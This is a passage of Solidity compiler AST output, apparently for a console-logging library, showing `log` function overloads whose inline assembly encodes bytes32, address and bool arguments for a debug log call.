:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"63402:2:22","nodeType":"YulIdentifier","src":"63402:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63389:6:22","nodeType":"YulIdentifier","src":"63389:6:22"},"nativeSrc":"63389:16:22","nodeType":"YulFunctionCall","src":"63389:16:22"},"nativeSrc":"63389:16:22","nodeType":"YulExpressionStatement","src":"63389:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63425:4:22","nodeType":"YulLiteral","src":"63425:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"63431:2:22","nodeType":"YulIdentifier","src":"63431:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63418:6:22","nodeType":"YulIdentifier","src":"63418:6:22"},"nativeSrc":"63418:16:22","nodeType":"YulFunctionCall","src":"63418:16:22"},"nativeSrc":"63418:16:22","nodeType":"YulExpressionStatement","src":"63418:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63454:4:22","nodeType":"YulLiteral","src":"63454:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"63460:2:22","nodeType":"YulIdentifier","src":"63460:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63447:6:22","nodeType":"YulIdentifier","src":"63447:6:22"},"nativeSrc":"63447:16:22","nodeType":"YulFunctionCall","src":"63447:16:22"},"nativeSrc":"63447:16:22","nodeType":"YulExpressionStatement","src":"63447:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"63483:4:22","nodeType":"YulLiteral","src":"63483:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"63489:2:22","nodeType":"YulIdentifier","src":"63489:2:22"}],"functionName":{"name":"mstore","nativeSrc":"63476:6:22","nodeType":"YulIdentifier","src":"63476:6:22"},"nativeSrc":"63476:16:22","nodeType":"YulFunctionCall","src":"63476:16:22"},"nativeSrc":"63476:16:22","nodeType":"YulExpressionStatement","src":"63476:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35748,"isOffset":false,"isSlot":false,"src":"63344:2:22","valueSize":1},{"declaration":35751,"isOffset":false,"isSlot":false,"src":"63373:2:22","valueSize":1},{"declaration":35754,"isOffset":false,"isSlot":false,"src":"63402:2:22","valueSize":1},{"declaration":35757,"isOffset":false,"isSlot":false,"src":"63431:2:22","valueSize":1},{"declaration":35760,"isOffset":false,"isSlot":false,"src":"63460:2:22","valueSize":1},{"declaration":35763,"isOffset":false,"isSlot":false,"src":"63489:2:22","valueSize":1}],"id":35771,"nodeType":"InlineAssembly","src":"63308:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"62305:3:22","parameters":{"id":35745,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35740,"mutability":"mutable","name":"p0","nameLocation":"62317:2:22","nodeType":"VariableDeclaration","scope":35773,"src":"62309:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35739,"name":"bytes32","nodeType":"ElementaryTypeName","src":"62309:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35742,"mutability":"mutable","name":"p1","nameLocation":"62329:2:22","nodeType":"VariableDeclaration","scope":35773,"src":"62321:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35741,"name":"address","nodeType":"ElementaryTypeName","src":"62321:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35744,"mutability":"mutable","name":"p2","nameLocation":"62341:2:22","nodeType":"VariableDeclaration","scope":35773,"src":"62333:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35743,"name":"address","nodeType":"ElementaryTypeName","src":"62333:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"62308:36:22"},"returnParameters":{"id":35746,"nodeType":"ParameterList","parameters":[],"src":"62359:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35808,"nodeType":"FunctionDefinition","src":"63514:1206:22","nodes":[],"body":{"id":35807,"nodeType":"Block","src":"63574:1146:22","nodes":[],"statements":[{"assignments":[35783],"declarations":[{"constant":false,"id":35783,"mutability":"mutable","name":"m0","nameLocation":"63592:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63584:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35782,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63584:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35784,"nodeType":"VariableDeclarationStatement","src":"63584:10:22"},{"assignments":[35786],"declarations":[{"constant":false,"id":35786,"mutability":"mutable","name":"m1","nameLocation":"63612:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63604:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35785,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63604:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35787,"nodeType":"VariableDeclarationStatement","src":"63604:10:22"},{"assignments":[35789],"declarations":[{"constant":false,"id":35789,"mutability":"mutable","name":"m2","nameLocation":"63632:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63624:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35788,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63624:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35790,"nodeType":"VariableDeclarationStatement","src":"63624:10:22"},{"assignments":[35792],"declarations":[{"constant":false,"id":35792,"mutability":"mutable","name":"m3","nameLocation":"63652:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63644:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35791,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63644:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35793,"nodeType":"VariableDeclarationStatement","src":"63644:10:22"},{"assignments":[35795],"declarations":[{"constant":false,"id":35795,"mutability":"mutable","name":"m4","nameLocation":"63672:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63664:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35794,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63664:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35796,"nodeType":"VariableDeclarationStatement","src":"63664:10:22"},{"assignments":[35798],"declarations":[{"constant":false,"id":35798,"mutability":"mutable","name":"m5","nameLocation":"63692:2:22","nodeType":"VariableDeclaration","scope":35807,"src":"63684:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35797,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63684:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35799,"nodeType":"VariableDeclarationStatement","src":"63684:10:22"},{"AST":{"nativeSrc":"63713:761:22","nodeType":"YulBlock","src":"63713:761:22","statements":[{"body":{"nativeSrc":"63756:313:22","nodeType":"YulBlock","src":"63756:313:22","statements":[{"nativeSrc":"63774:15:22","nodeType":"YulVariableDeclaration","src":"63774:15:22","value":{"kind":"number","nativeSrc":"63788:1:22","nodeType":"YulLiteral","src":"63788:1:22","type":"","value":"0"},"variables":[{"name":"length","nativeSrc":"63778:6:22","nodeType":"YulTypedName","src":"63778:6:22","type":""}]},{"body":{"nativeSrc":"63859:40:22","nodeType":"YulBlock","src":"63859:40:22","statements":[{"body":{"nativeSrc":"63888:9:22","nodeType":"YulBlock","src":"63888:9:22","statements":[{"nativeSrc":"63890:5:22","nodeType":"YulBreak","src":"63890:5:22"}]},"condition":{"arguments":[{"arguments":[{"name":"length","nativeSrc":"63876:6:22","nodeType":"YulIdentifier","src":"63876:6:22"},{"name":"w","nativeSrc":"63884:1:22","nodeType":"YulIdentifier","src":"63884:1:22"}],"functionName":{"name":"byte","nativeSrc":"63871:4:22","nodeType":"YulIdentifier","src":"63871:4:22"},"nativeSrc":"63871:15:22","nodeType":"YulFunctionCall","src":"63871:15:22"}],"functionName":{"name":"iszero","nativeSrc":"63864:6:22","nodeType":"YulIdentifier","src":"63864:6:22"},"nativeSrc":"63864:23:22","nodeType":"YulFunctionCall","src":"63864:23:22"},"nativeSrc":"63861:36:22","nodeType":"YulIf","src":"63861:36:22"}]},"condition":{"arguments":[{"name":"length","nativeSrc":"63816:6:22","nodeType":"YulIdentifier","src":"63816:6:22"},{"kind":"number","nativeSrc":"63824:4:22","nodeType":"YulLiteral","src":"63824:4:22","type":"","value":"0x20"}],"functionName":{"name":"lt","nativeSrc":"63813:2:22","nodeType":"YulIdentifier","src":"63813:2:22"},"nativeSrc":"63813:16:22","nodeType":"YulFunctionCall","src":"63813:16:22"},"nativeSrc":"63806:93:22","nodeType":"YulForLoop","post":{"nativeSrc":"63830:28:22","nodeType":"YulBlock","src":"63830:28:22","statements":[{"nativeSrc":"63832:24:22","nodeType":"YulAssignment","src":"63832:24:22","value":{"arguments":[{"name":"length","nativeSrc":"63846:6:22","nodeType":"YulIdentifier","src":"63846:6:22"},{"kind":"number","nativeSrc":"63854:1:22","nodeType":"YulLiteral","src":"63854:1:22","type":"","value":"1"}],"functionName":{"name":"add","nativeSrc":"63842:3:22","nodeType":"YulIdentifier","src":"63842:3:22"},"nativeSrc":"63842:14:22","nodeType":"YulFunctionCall","src":"63842:14:22"},"variableNames":[{"name":"length","nativeSrc":"63832:6:22","nodeType":"YulIdentifier","src":"63832:6:22"}]}]},"pre":{"nativeSrc":"63810:2:22","nodeType":"YulBlock","src":"63810:2:22","statements":[]},"src":"63806:93:22"},{"expression":{"arguments":[{"name":"pos","nativeSrc":"63923:3:22","nodeType":"YulIdentifier","src":"63923:3:22"},{"name":"length","nativeSrc":"63928:6:22","nodeType":"YulIdentifier","src":"63928:6:22"}],"functionName":{"name":"mstore","nativeSrc":"63916:6:22","nodeType":"YulIdentifier","src":"63916:6:22"},"nativeSrc":"63916:19:22","nodeType":"YulFunctionCall","src":"63916:19:22"},"nativeSrc":"63916:19:22","nodeType":"YulExpressionStatement","src":"63916:19:22"},{"nativeSrc":"63952:37:22","nodeType":"YulVariableDeclaration","src":"63952:37:22","value":{"arguments":[{"kind":"number","nativeSrc":"63969:3:22","nodeType":"YulLiteral","src":"63969:3:22","type":"","value":"256"},{"arguments":[{"kind":"number","nativeSrc":"63978:1:22","nodeType":"YulLiteral","src":"63978:1:22","type":"","value":"3"},{"name":"length","nativeSrc":"63981:6:22","nodeType":"YulIdentifier","src":"63981:6:22"}],"functionName":{"name":"shl","nativeSrc":"63974:3:22","nodeType":"YulIdentifier","src":"63974:3:22"},"nativeSrc":"63974:14:22","nodeType":"YulFunctionCall","src":"63974:14:22"}],"functionName":{"name":"sub","nativeSrc":"63965:3:22","nodeType":"YulIdentifier","src":"63965:3:22"},"nativeSrc":"63965:24:22","nodeType":"YulFunctionCall","src":"63965:24:22"},"variables":[{"name":"shift","nativeSrc":"63956:5:22","nodeType":"YulTypedName","src":"63956:5:22","type":""}]},{"expression":{"arguments":[{"arguments":[{"name":"pos","nativeSrc":"64017:3:22","nodeType":"YulIdentifier","src":"64017:3:22"},{"kind":"number","nativeSrc":"64022:4:22","nodeType":"YulLiteral","src":"64022:4:22","type":"","value":"0x20"}],"functionName":{"name":"add","nativeSrc":"64013:3:22","nodeType":"YulIdentifier","src":"64013:3:22"},"nativeSrc":"64013:14:22","nodeType":"YulFunctionCall","src":"64013:14:22"},{"arguments":[{"name":"shift","nativeSrc":"64033:5:22","nodeType":"YulIdentifier","src":"64033:5:22"},{"arguments":[{"name":"shift","nativeSrc":"64044:5:22","nodeType":"YulIdentifier","src":"64044:5:22"},{"name":"w","nativeSrc":"64051:1:22","nodeType":"YulIdentifier","src":"64051:1:22"}],"functionName":{"name":"shr","nativeSrc":"64040:3:22","nodeType":"YulIdentifier","src":"64040:3:22"},"nativeSrc":"64040:13:22","nodeType":"YulFunctionCall","src":"64040:13:22"}],"functionName":{"name":"shl","nativeSrc":"64029:3:22","nodeType":"YulIdentifier","src":"64029:3:22"},"nativeSrc":"64029:25:22","nodeType":"YulFunctionCall","src":"64029:25:22"}],"functionName":{"name":"mstore","nativeSrc":"64006:6:22","nodeType":"YulIdentifier","src":"64006:6:22"},"nativeSrc":"64006:49:22","nodeType":"YulFunctionCall","src":"64006:49:22"},"nativeSrc":"64006:49:22","nodeType":"YulExpressionStatement","src":"64006:49:22"}]},"name":"writeString","nativeSrc":"63727:342:22","nodeType":"YulFunctionDefinition","parameters":[{"name":"pos","nativeSrc":"63748:3:22","nodeType":"YulTypedName","src":"63748:3:22","type":""},{"name":"w","nativeSrc":"63753:1:22","nodeType":"YulTypedName","src":"63753:1:22","type":""}],"src":"63727:342:22"},{"nativeSrc":"64082:17:22","nodeType":"YulAssignment","src":"64082:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64094:4:22","nodeType":"YulLiteral","src":"64094:4:22","type":"","value":"0x00"}],"functionName":{"name":"mload","nativeSrc":"64088:5:22","nodeType":"YulIdentifier","src":"64088:5:22"},"nativeSrc":"64088:11:22","nodeType":"YulFunctionCall","src":"64088:11:22"},"variableNames":[{"name":"m0","nativeSrc":"64082:2:22","nodeType":"YulIdentifier","src":"64082:2:22"}]},{"nativeSrc":"64112:17:22","nodeType":"YulAssignment","src":"64112:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64124:4:22","nodeType":"YulLiteral","src":"64124:4:22","type":"","value":"0x20"}],"functionName":{"name":"mload","nativeSrc":"64118:5:22","nodeType":"YulIdentifier","src":"64118:5:22"},"nativeSrc":"64118:11:22","nodeType":"YulFunctionCall","src":"64118:11:22"},"variableNames":[{"name":"m1","nativeSrc":"64112:2:22","nodeType":"YulIdentifier","src":"64112:2:22"}]},{"nativeSrc":"64142:17:22","nodeType":"YulAssignment","src":"64142:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64154:4:22","nodeType":"YulLiteral","src":"64154:4:22","type":"","value":"0x40"}],"functionName":{"name":"mload","nativeSrc":"64148:5:22","nodeType":"YulIdentifier","src":"64148:5:22"},"nativeSrc":"64148:11:22","nodeType":"YulFunctionCall","src":"64148:11:22"},"variableNames":[{"name":"m2","nativeSrc":"64142:2:22","nodeType":"YulIdentifier","src":"64142:2:22"}]},{"nativeSrc":"64172:17:22","nodeType":"YulAssignment","src":"64172:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64184:4:22","nodeType":"YulLiteral","src":"64184:4:22","type":"","value":"0x60"}],"functionName":{"name":"mload","nativeSrc":"64178:5:22","nodeType":"YulIdentifier","src":"64178:5:22"},"nativeSrc":"64178:11:22","nodeType":"YulFunctionCall","src":"64178:11:22"},"variableNames":[{"name":"m3","nativeSrc":"64172:2:22","nodeType":"YulIdentifier","src":"64172:2:22"}]},{"nativeSrc":"64202:17:22","nodeType":"YulAssignment","src":"64202:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64214:4:22","nodeType":"YulLiteral","src":"64214:4:22","type":"","value":"0x80"}],"functionName":{"name":"mload","nativeSrc":"64208:5:22","nodeType":"YulIdentifier","src":"64208:5:22"},"nativeSrc":"64208:11:22","nodeType":"YulFunctionCall","src":"64208:11:22"},"variableNames":[{"name":"m4","nativeSrc":"64202:2:22","nodeType":"YulIdentifier","src":"64202:2:22"}]},{"nativeSrc":"64232:17:22","nodeType":"YulAssignment","src":"64232:17:22","value":{"arguments":[{"kind":"number","nativeSrc":"64244:4:22","nodeType":"YulLiteral","src":"64244:4:22","type":"","value":"0xa0"}],"functionName":{"name":"mload","nativeSrc":"64238:5:22","nodeType":"YulIdentifier","src":"64238:5:22"},"nativeSrc":"64238:11:22","nodeType":"YulFunctionCall","src":"64238:11:22"},"variableNames":[{"name":"m5","nativeSrc":"64232:2:22","nodeType":"YulIdentifier","src":"64232:2:22"}]},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64324:4:22","nodeType":"YulLiteral","src":"64324:4:22","type":"","value":"0x00"},{"kind":"number","nativeSrc":"64330:10:22","nodeType":"YulLiteral","src":"64330:10:22","type":"","value":"0xc91d5ed4"}],"functionName":{"name":"mstore","nativeSrc":"64317:6:22","nodeType":"YulIdentifier","src":"64317:6:22"},"nativeSrc":"64317:24:22","nodeType":"YulFunctionCall","src":"64317:24:22"},"nativeSrc":"64317:24:22","nodeType":"YulExpressionStatement","src":"64317:24:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64361:4:22","nodeType":"YulLiteral","src":"64361:4:22","type":"","value":"0x20"},{"kind":"number","nativeSrc":"64367:4:22","nodeType":"YulLiteral","src":"64367:4:22","type":"","value":"0x60"}],"functionName":{"name":"mstore","nativeSrc":"64354:6:22","nodeType":"YulIdentifier","src":"64354:6:22"},"nativeSrc":"64354:18:22","nodeType":"YulFunctionCall","src":"64354:18:22"},"nativeSrc":"64354:18:22","nodeType":"YulExpressionStatement","src":"64354:18:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64392:4:22","nodeType":"YulLiteral","src":"64392:4:22","type":"","value":"0x40"},{"name":"p1","nativeSrc":"64398:2:22","nodeType":"YulIdentifier","src":"64398:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64385:6:22","nodeType":"YulIdentifier","src":"64385:6:22"},"nativeSrc":"64385:16:22","nodeType":"YulFunctionCall","src":"64385:16:22"},"nativeSrc":"64385:16:22","nodeType":"YulExpressionStatement","src":"64385:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64421:4:22","nodeType":"YulLiteral","src":"64421:4:22","type":"","value":"0x60"},{"name":"p2","nativeSrc":"64427:2:22","nodeType":"YulIdentifier","src":"64427:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64414:6:22","nodeType":"YulIdentifier","src":"64414:6:22"},"nativeSrc":"64414:16:22","nodeType":"YulFunctionCall","src":"64414:16:22"},"nativeSrc":"64414:16:22","nodeType":"YulExpressionStatement","src":"64414:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64455:4:22","nodeType":"YulLiteral","src":"64455:4:22","type":"","value":"0x80"},{"name":"p0","nativeSrc":"64461:2:22","nodeType":"YulIdentifier","src":"64461:2:22"}],"functionName":{"name":"writeString","nativeSrc":"64443:11:22","nodeType":"YulIdentifier","src":"64443:11:22"},"nativeSrc":"64443:21:22","nodeType":"YulFunctionCall","src":"64443:21:22"},"nativeSrc":"64443:21:22","nodeType":"YulExpressionStatement","src":"64443:21:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35783,"isOffset":false,"isSlot":false,"src":"64082:2:22","valueSize":1},{"declaration":35786,"isOffset":false,"isSlot":false,"src":"64112:2:22","valueSize":1},{"declaration":35789,"isOffset":false,"isSlot":false,"src":"64142:2:22","valueSize":1},{"declaration":35792,"isOffset":false,"isSlot":false,"src":"64172:2:22","valueSize":1},{"declaration":35795,"isOffset":false,"isSlot":false,"src":"64202:2:22","valueSize":1},{"declaration":35798,"isOffset":false,"isSlot":false,"src":"64232:2:22","valueSize":1},{"declaration":35775,"isOffset":false,"isSlot":false,"src":"64461:2:22","valueSize":1},{"declaration":35777,"isOffset":false,"isSlot":false,"src":"64398:2:22","valueSize":1},{"declaration":35779,"isOffset":false,"isSlot":false,"src":"64427:2:22","valueSize":1}],"id":35800,"nodeType":"InlineAssembly","src":"63704:770:22"},{"expression":{"arguments":[{"hexValue":"30783163","id":35802,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"64499:4:22","typeDescriptions":{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},"value":"0x1c"},{"hexValue":"30786134","id":35803,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"64505:4:22","typeDescriptions":{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"},"value":"0xa4"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_28_by_1","typeString":"int_const 28"},{"typeIdentifier":"t_rational_164_by_1","typeString":"int_const 164"}],"id":35801,"name":"_sendLogPayload","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":33551,"src":"64483:15:22","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_uint256_$_t_uint256_$returns$__$","typeString":"function (uint256,uint256) pure"}},"id":35804,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"64483:27:22","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":35805,"nodeType":"ExpressionStatement","src":"64483:27:22"},{"AST":{"nativeSrc":"64529:185:22","nodeType":"YulBlock","src":"64529:185:22","statements":[{"expression":{"arguments":[{"kind":"number","nativeSrc":"64550:4:22","nodeType":"YulLiteral","src":"64550:4:22","type":"","value":"0x00"},{"name":"m0","nativeSrc":"64556:2:22","nodeType":"YulIdentifier","src":"64556:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64543:6:22","nodeType":"YulIdentifier","src":"64543:6:22"},"nativeSrc":"64543:16:22","nodeType":"YulFunctionCall","src":"64543:16:22"},"nativeSrc":"64543:16:22","nodeType":"YulExpressionStatement","src":"64543:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64579:4:22","nodeType":"YulLiteral","src":"64579:4:22","type":"","value":"0x20"},{"name":"m1","nativeSrc":"64585:2:22","nodeType":"YulIdentifier","src":"64585:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64572:6:22","nodeType":"YulIdentifier","src":"64572:6:22"},"nativeSrc":"64572:16:22","nodeType":"YulFunctionCall","src":"64572:16:22"},"nativeSrc":"64572:16:22","nodeType":"YulExpressionStatement","src":"64572:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64608:4:22","nodeType":"YulLiteral","src":"64608:4:22","type":"","value":"0x40"},{"name":"m2","nativeSrc":"64614:2:22","nodeType":"YulIdentifier","src":"64614:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64601:6:22","nodeType":"YulIdentifier","src":"64601:6:22"},"nativeSrc":"64601:16:22","nodeType":"YulFunctionCall","src":"64601:16:22"},"nativeSrc":"64601:16:22","nodeType":"YulExpressionStatement","src":"64601:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64637:4:22","nodeType":"YulLiteral","src":"64637:4:22","type":"","value":"0x60"},{"name":"m3","nativeSrc":"64643:2:22","nodeType":"YulIdentifier","src":"64643:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64630:6:22","nodeType":"YulIdentifier","src":"64630:6:22"},"nativeSrc":"64630:16:22","nodeType":"YulFunctionCall","src":"64630:16:22"},"nativeSrc":"64630:16:22","nodeType":"YulExpressionStatement","src":"64630:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64666:4:22","nodeType":"YulLiteral","src":"64666:4:22","type":"","value":"0x80"},{"name":"m4","nativeSrc":"64672:2:22","nodeType":"YulIdentifier","src":"64672:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64659:6:22","nodeType":"YulIdentifier","src":"64659:6:22"},"nativeSrc":"64659:16:22","nodeType":"YulFunctionCall","src":"64659:16:22"},"nativeSrc":"64659:16:22","nodeType":"YulExpressionStatement","src":"64659:16:22"},{"expression":{"arguments":[{"kind":"number","nativeSrc":"64695:4:22","nodeType":"YulLiteral","src":"64695:4:22","type":"","value":"0xa0"},{"name":"m5","nativeSrc":"64701:2:22","nodeType":"YulIdentifier","src":"64701:2:22"}],"functionName":{"name":"mstore","nativeSrc":"64688:6:22","nodeType":"YulIdentifier","src":"64688:6:22"},"nativeSrc":"64688:16:22","nodeType":"YulFunctionCall","src":"64688:16:22"},"nativeSrc":"64688:16:22","nodeType":"YulExpressionStatement","src":"64688:16:22"}]},"evmVersion":"shanghai","externalReferences":[{"declaration":35783,"isOffset":false,"isSlot":false,"src":"64556:2:22","valueSize":1},{"declaration":35786,"isOffset":false,"isSlot":false,"src":"64585:2:22","valueSize":1},{"declaration":35789,"isOffset":false,"isSlot":false,"src":"64614:2:22","valueSize":1},{"declaration":35792,"isOffset":false,"isSlot":false,"src":"64643:2:22","valueSize":1},{"declaration":35795,"isOffset":false,"isSlot":false,"src":"64672:2:22","valueSize":1},{"declaration":35798,"isOffset":false,"isSlot":false,"src":"64701:2:22","valueSize":1}],"id":35806,"nodeType":"InlineAssembly","src":"64520:194:22"}]},"implemented":true,"kind":"function","modifiers":[],"name":"log","nameLocation":"63523:3:22","parameters":{"id":35780,"nodeType":"ParameterList","parameters":[{"constant":false,"id":35775,"mutability":"mutable","name":"p0","nameLocation":"63535:2:22","nodeType":"VariableDeclaration","scope":35808,"src":"63527:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35774,"name":"bytes32","nodeType":"ElementaryTypeName","src":"63527:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"},{"constant":false,"id":35777,"mutability":"mutable","name":"p1","nameLocation":"63547:2:22","nodeType":"VariableDeclaration","scope":35808,"src":"63539:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":35776,"name":"address","nodeType":"ElementaryTypeName","src":"63539:7:22","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":35779,"mutability":"mutable","name":"p2","nameLocation":"63556:2:22","nodeType":"VariableDeclaration","scope":35808,"src":"63551:7:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":35778,"name":"bool","nodeType":"ElementaryTypeName","src":"63551:4:22","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"63526:33:22"},"returnParameters":{"id":35781,"nodeType":"ParameterList","parameters":[],"src":"63574:0:22"},"scope":46587,"stateMutability":"pure","virtual":false,"visibility":"internal"},{"id":35843,"nodeType":"FunctionDefinition","src":"64726:1212:22","nodes":[],"body":{"id":35842,"nodeType":"Block","src":"64789:1149:22","nodes":[],"statements":[{"assignments":[35818],"declarations":[{"constant":false,"id":35818,"mutability":"mutable","name":"m0","nameLocation":"64807:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64799:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35817,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64799:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35819,"nodeType":"VariableDeclarationStatement","src":"64799:10:22"},{"assignments":[35821],"declarations":[{"constant":false,"id":35821,"mutability":"mutable","name":"m1","nameLocation":"64827:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64819:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35820,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64819:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35822,"nodeType":"VariableDeclarationStatement","src":"64819:10:22"},{"assignments":[35824],"declarations":[{"constant":false,"id":35824,"mutability":"mutable","name":"m2","nameLocation":"64847:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64839:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35823,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64839:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35825,"nodeType":"VariableDeclarationStatement","src":"64839:10:22"},{"assignments":[35827],"declarations":[{"constant":false,"id":35827,"mutability":"mutable","name":"m3","nameLocation":"64867:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64859:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35826,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64859:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35828,"nodeType":"VariableDeclarationStatement","src":"64859:10:22"},{"assignments":[35830],"declarations":[{"constant":false,"id":35830,"mutability":"mutable","name":"m4","nameLocation":"64887:2:22","nodeType":"VariableDeclaration","scope":35842,"src":"64879:10:22","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"typeName":{"id":35829,"name":"bytes32","nodeType":"ElementaryTypeName","src":"64879:7:22","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"visibility":"internal"}],"id":35831